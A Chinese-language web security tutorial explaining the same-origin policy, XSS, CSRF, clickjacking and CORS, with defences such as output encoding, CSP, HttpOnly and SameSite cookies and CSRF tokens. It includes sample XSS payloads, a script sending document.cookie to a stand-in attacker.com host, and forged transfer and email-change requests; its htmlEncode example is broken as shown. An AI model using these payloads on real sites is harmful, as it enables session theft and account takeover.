网络安全
约 3724 字大约 12 分钟
2025-07-04
1. 同源策略 (Same-Origin Policy)
核心概念:浏览器的基础安全机制,限制来自不同源(协议+域名+端口)的资源交互。
作用场景:
- 限制 JavaScript 访问跨域资源
- 阻止跨域 DOM 操作
- 拦截跨域 AJAX 请求(默认禁止)
示例:
// 当前页面:https://example.com
fetch('https://api.attacker.com/data')
.catch(err => console.error("请求被阻止!"));
// 浏览器报错:CORS policy blocked request防御价值:阻止恶意网站窃取用户在其他站点的敏感数据。
2. XSS(跨站脚本攻击)
2.1 什么是XSS攻击?
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本(通常是JavaScript),当用户访问该网页时,浏览器会执行这些脚本,从而窃取用户数据、劫持会话或篡改页面内容。
核心原理:浏览器信任并执行来自合法网站的脚本,但未正确过滤用户输入的恶意代码。
2.2 XSS的三大类型
- 反射型XSS(非持久化)
- 特点:恶意代码存在于URL或表单中,服务器直接返回包含恶意代码的响应,用户访问时触发。
- 场景举例:
- 恶意URL:
https://example.com/search?q=<script>alert('XSS'); </script> - 当用户点击该链接,服务器返回的搜索结果页会包含恶意脚本,浏览器执行后弹出弹窗。
- 恶意URL:
- 攻击流程:用户点击带恶意代码的链接 → 服务器返回含恶意代码的页面 → 浏览器执行脚本。
- 存储型XSS(持久化)
- 特点:恶意代码存储在服务器数据库中(如评论、用户资料),用户访问时从服务器加载并执行。
- 场景举例:
- 用户在论坛发布评论:
<script>窃取用户Cookie</script>,其他用户查看该评论时触发脚本。
- 用户在论坛发布评论:
- 攻击流程:攻击者提交恶意内容 → 内容存储到服务器 → 其他用户访问时加载并执行脚本。
- DOM型XSS
- 特点:恶意代码通过修改页面DOM结构注入,无需经过服务器,仅在客户端执行。
- 场景举例:
<!-- 不安全的代码 -->
<div id="output"></div>
<script>
// 直接将URL参数插入DOM
document.getElementById('output').innerHTML = location.hash.slice(1);
</script>当用户访问https://example.com/#<script>alert('XSS'); </script>,脚本会被执行。
- 攻击流程:恶意代码存在于URL等客户端数据 → JavaScript操作DOM时未过滤 → 浏览器执行脚本。
2.3 XSS攻击的核心原理
- 注入点:
- 输入框、URL参数、HTTP请求头、Cookie等用户可控的输入位置。
- 浏览器执行机制:
- 浏览器解析HTML时,若遇到
<script>标签或可执行的脚本表达式(如onclick事件),会立即执行其中的代码。
- 浏览器解析HTML时,若遇到
- 信任机制利用:
- 浏览器信任当前域名下的脚本,恶意脚本可获取该域名的Cookie、本地存储(LocalStorage)等敏感数据。
2.4 XSS攻击的危害
- 数据窃取:
- 窃取用户Cookie:
document.cookie可被恶意脚本获取,配合XMLHttpRequest发送到攻击者服务器。 - 窃取表单数据:监听输入框事件,获取用户账号、密码等。
- 窃取用户Cookie:
- 会话劫持:
- 通过
document.cookie获取Session Cookie,利用fetch或img标签发送给攻击者,实现会话劫持。
- 通过
- 页面篡改与钓鱼:
- 篡改页面内容,显示虚假登录框、广告或恶意链接。
- 客户端恶意操作:
- 执行浏览器命令(如关闭窗口、重定向到钓鱼网站)、下载恶意软件等。
- CSRF漏洞配合:
- XSS可绕过CSRF的Same Origin Policy限制,发起跨站请求。
2.5 XSS防御核心措施
- 输入输出双重过滤(最关键)
- 输出编码(重中之重):
- 将用户输入的内容进行HTML实体编码,防止浏览器解析为脚本。
- 示例(JavaScript):
// 手动编码(简化版)
function htmlEncode(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 使用:document.getElementById('output').textContent = htmlEncode(userInput);框架安全实践:
- React使用
JSX自动对内容进行转义({userInput}会被转为文本节点)。 - Vue的
v-html指令需谨慎使用,优先使用v-text。
- React使用
输入过滤(辅助手段):
- 限制输入格式(如正则表达式过滤脚本标签),但不可完全依赖(攻击者可绕过)。
// 简单过滤脚本标签(仅作示例,实际需更严格)
function filterInput(str) {
return str.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}- 内容安全策略(CSP)
- 通过HTTP响应头或
<meta>标签限制页面可执行的脚本来源,阻止恶意脚本执行。 - 示例配置:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-script.com; object-src 'none'; style-src 'self' https://trusted-style.com; img-src *;default-src 'self':仅允许加载同源资源。script-src 'self':禁止内联脚本和未信任的外部脚本。style-src 'nonce-随机值':配合动态生成的nonce值,仅允许带指定nonce的样式。
- HttpOnly Cookie
- 在设置Cookie时添加
HttpOnly属性,防止JavaScript通过document.cookie获取Cookie。 - 示例(Node.js):
res.cookie('sessionId', '12345', { httpOnly: true, secure: true });- Samesite Cookie
- 添加
Samesite属性限制Cookie跨站发送,减少CSRF和XSS攻击风险。
res.cookie('sessionId', '12345', { samesite: 'Strict' });- 使用安全框架与工具
- 前端框架:React、Vue等现代框架默认提供XSS防护(如自动转义)。
- 后端工具:使用OWASP ESAPI等库进行输入输出编码。
- 代码审查:避免使用危险API(如
eval()、innerHTML直接插入未过滤内容)。
- 其他防御手段
- DOM型XSS防御:避免使用
document.write()、innerHTML等动态插入未过滤内容,优先使用textContent。 - 验证码:在关键操作(如评论、注册)中添加验证码,减少自动化攻击。
- XSS审计工具:使用Burp Suite、OWASP ZAP等工具扫描网站漏洞。
2.6 XSS攻击实战案例
- Cookie窃取攻击
- 恶意脚本:
<script>
// 创建隐藏的img标签,将Cookie发送到攻击者服务器
const img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>- 防御:使用
HttpOnlyCookie + CSP禁止加载外域脚本。
- 会话劫持攻击
- 攻击者通过XSS获取用户Session Cookie后,可模拟用户发送请求:
<script>
fetch('https://example.com/transfer-money', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 1000 })
});
</script>- 防御:启用CSP限制
fetch目标,配合SameSite: StrictCookie。
2.7 XSS防御误区
- 仅依赖输入过滤:攻击者可通过编码(如Unicode、HTML实体)绕过简单过滤。
- 认为框架绝对安全:即使是React,若错误使用
dangerouslySetInnerHTML也会引入风险。 - 忽略DOM型XSS:DOM型漏洞仅存在于客户端,后端过滤无法防御,需前端严格处理DOM操作。
2.8 总结
XSS攻击的本质是“浏览器执行了非预期的脚本”,防御核心在于阻止恶意脚本的注入与执行。开发者需遵循“输入验证、输出编码、多层防护”的原则,结合CSP、HttpOnly等技术构建安全防线。随着Web技术发展,XSS变种(如基于WebAssembly、HTML5 API的攻击)也需持续关注,但基础防御措施仍是对抗XSS的基石。
3. CSRF(跨站请求伪造攻击)
3.1 什么是CSRF攻击?
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用用户已登录的身份,在用户不知情的情况下,向目标网站发送恶意请求的攻击方式。攻击者通过诱导用户访问恶意链接或页面,利用浏览器自动携带的Cookie等会话凭证,让服务器误认为请求来自合法用户,从而执行非用户本意的操作(如转账、修改密码、发布信息等)。
3.2 CSRF攻击的核心原理
- 用户身份认证机制的缺陷:
网站通常通过Cookie、Session等方式识别用户身份,一旦用户登录,浏览器会自动在请求中携带会话凭证,而服务器仅验证凭证合法性,不验证请求的真实来源。 - 攻击的“借壳”本质:
攻击者不直接窃取用户信息,而是利用用户已建立的会话,“借用”用户身份向服务器发送请求。
3.3 CSRF攻击的典型流程
以用户A在银行网站已登录为例,攻击者的攻击流程如下:
- 用户登录信任网站:用户A登录银行网站,浏览器保存了银行的Cookie。
- 攻击者构造恶意请求:攻击者创建一个恶意链接或网页(如一张图片的URL指向
银行网站/转账?to=攻击者账户&amount=1000)。 - 用户访问恶意内容:用户A在未退出银行账号的情况下,点击了攻击者的链接或打开恶意网页。
- 浏览器自动发送请求:浏览器向银行服务器发送请求,并携带Cookie,服务器验证Cookie合法后执行转账操作。
- 攻击成功:用户A的账户资金被转移,而用户对此毫不知情。
3.4 真实案例:CSRF如何攻击用户?
场景1:转账攻击
攻击者制作一张图片,图片的URL为银行转账接口(如https://bank.com/transfer?to=12345&amount=5000)。用户打开包含该图片的网页时,浏览器会自动向银行服务器发送转账请求,若用户已登录,转账可能直接成功。场景2:修改用户信息
攻击者构造链接https://example.com/change-email?email=hacker@evil.com,用户点击后,浏览器会携带Cookie发送请求,若服务器未验证请求合法性,用户邮箱将被修改。场景3:发帖或点赞恶意内容
在论坛等平台,攻击者诱导用户点击链接,以用户身份发布广告或恶意言论,破坏用户声誉。
3.5 CSRF与XSS的区别
| 对比项 | CSRF | XSS(跨站脚本攻击) |
|---|---|---|
| 攻击核心 | 利用用户已登录的会话,伪造请求 | 注入恶意脚本,窃取用户信息或控制浏览器 |
| 用户交互 | 需要用户主动访问恶意链接(被动触发) | 用户被动执行攻击者的脚本(主动注入) |
| 数据获取方式 | 无法直接获取用户数据,依赖服务器操作 | 可以窃取Cookie、会话等敏感信息 |
| 防御重点 | 验证请求来源合法性 | 过滤输入、转义输出,防止脚本执行 |
3.6 CSRF的防范措施
- SameSite Cookie(最核心方案)
- 原理:通过设置Cookie的
SameSite属性,限制Cookie仅在同站请求中发送,阻止跨站请求携带Cookie。 - 设置方式:
Set-Cookie: session_id=12345; SameSite=Strict; Secure; HttpOnly- 属性值说明:
Strict:完全禁止跨站请求携带Cookie(安全性最高,但可能影响正常跨站功能)。Lax:允许部分跨站请求(如GET方式的链接点击)携带Cookie(平衡安全与兼容性)。None:允许跨站请求(需配合Secure属性,仅HTTPS有效)。
- 浏览器支持:现代浏览器(如Chrome、Firefox)已默认启用
Lax策略。
- CSRF Token(服务器端验证)
- 原理:在表单或请求中加入随机令牌(Token),服务器验证Token的合法性,确保请求来自本网站。
- 实现步骤:
- 用户访问网站时,服务器生成随机Token并存储在Session中,同时返回给前端(如嵌入表单隐藏字段或HTTP Header)。
- 前端发起请求时,携带Token到服务器。
- 服务器对比请求中的Token与Session中的Token,一致则处理请求,否则拒绝。
- 示例代码(Node.js):
// 生成Token并返回给前端
app.get('/form', (req, res) => {
const csrfToken = generateRandomToken();
req.session.csrfToken = csrfToken;
res.render('form', { csrfToken });
});
// 验证Token
app.post('/submit', (req, res) => {
const tokenFromReq = req.body.csrfToken;
const tokenFromSession = req.session.csrfToken;
if (tokenFromReq !== tokenFromSession) {
return res.status(403).send('CSRF攻击检测');
}
// 处理正常请求
});- Referer检查(辅助方案)
- 原理:验证请求的
Referer字段是否来自本站,防止跨站请求。 - 局限性:
- 部分用户可能禁用Referer发送,或浏览器因隐私策略不携带Referer。
- 攻击者可通过伪造Referer(如利用站内资源嵌入恶意请求)绕过检查。
- 实现方式:服务器检查请求头
Referer是否包含本站域名。
- 双重提交Cookie(Cookie + Token)
- 原理:
- 服务器在Cookie中存储随机值,并在请求中要求携带相同值(如放在请求参数或Header中)。
- 浏览器跨站请求时会携带Cookie,但攻击者无法获取Cookie中的值,因此无法构造合法请求。
- 示例:
- 服务器设置Cookie:
Set-Cookie: csrf_token=abc123; SameSite=Lax - 前端请求时携带参数:
?csrf_token=abc123 - 服务器验证Cookie中的
csrf_token与请求参数是否一致。
- 服务器设置Cookie:
3.7 现代框架中的CSRF防护
主流开发框架通常内置CSRF防护机制:
- Django:通过
csrf_protect装饰器或中间件自动生成和验证Token。 - Spring Security:提供
CsrfTokenRepository接口,默认使用Session存储Token。 - Express(Node.js):可通过
csurf中间件实现Token验证。 - Ruby on Rails:表单中自动嵌入
authenticity_token,服务器验证该参数。
3.8 总结:CSRF的本质与防御核心
- 本质:CSRF攻击利用了“浏览器自动携带会话凭证”的机制,通过跨站请求伪造用户操作。
- 防御核心:
- 阻止跨站请求携带会话凭证(
SameSite Cookie)。 - 验证请求的“来源合法性”(Token或Referer检查)。
- 阻止跨站请求携带会话凭证(
通过组合使用上述防范措施,可有效降低CSRF攻击的风险。在开发中,应优先启用SameSite Cookie,并结合Token验证作为双重保障,确保用户操作的真实性。
4. 其他关键防护措施
- 点击劫持防御
X-Frame-Options: DENY // 禁止页面被嵌入 iframe- CORS 安全配置(跨域资源共享)
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: true- 敏感操作二次验证
- 重要操作(如支付)需重新输入密码或短信验证
5. 漏洞防护全景图
| 攻击类型 | 核心风险 | 关键防御手段 |
|---|---|---|
| XSS | 数据窃取/会话劫持 | CSP/输入过滤/输出转义 |
| CSRF | 非授权操作 | Token验证/SameSite Cookie |
| 点击劫持 | 界面伪装欺骗 | X-Frame-Options |
| CORS滥用 | 跨域数据泄露 | 精确配置Access-Control-Allow-* |
最佳实践:所有用户输入视为不可信数据,服务端始终做最终校验。使用OWASP Cheat Sheet获取最新防护方案。
网络安全是持续对抗过程,需结合代码审查、自动化扫描(如ZAP)、漏洞赏金等多层防御,才能构建可靠的前端安全体系。
